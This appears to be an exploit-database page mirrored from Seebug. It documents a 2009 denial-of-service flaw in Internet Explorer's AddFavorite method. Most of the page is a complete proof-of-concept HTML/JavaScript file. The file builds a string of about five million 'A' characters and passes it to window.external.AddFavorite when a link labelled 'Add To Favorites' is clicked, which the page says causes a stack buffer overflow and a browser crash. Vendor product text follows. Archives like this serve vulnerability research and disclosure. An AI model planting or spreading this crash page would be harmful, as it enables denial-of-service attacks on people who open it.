Lucene search
K

Microsoft Internet Explorer 'AddFavorite'方法拒绝服务漏洞

🗓️ 13 Jul 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Microsoft Internet Explorer 'AddFavorite'方法拒绝服务漏洞漏洞利

Code

                                                ------------------------------------------->
IE Add Favourites Stack Buffer Overflow POC
Sberry, Compaq
------------------------------------------->
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function go()
{
 var str =unescape('%u4141');
 var finalstr = createInlineBuffer(str, 5150000);
 var len = finalstr.length;
 document.write(len);
 addfav(finalstr);
}
     
/* Effient in-line creation */
function createInlineBuffer (str, num) {
 var i = Math.ceil(Math.log(num) / Math.LN2),
  res = str;
 do {
  res += res;
 } while (0 < --i);
 return res.slice(0, str.length * num);
}
/* Vulnerable Function */
function addfav(str)
   {
   if (document.all)
      {
      window.external.AddFavorite
      ('http://'+str,'Crash')
      }
   }
</script>
</head>
<body>
<a href="javascript:go()">Add To Favorites</a>
</body>
</html>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation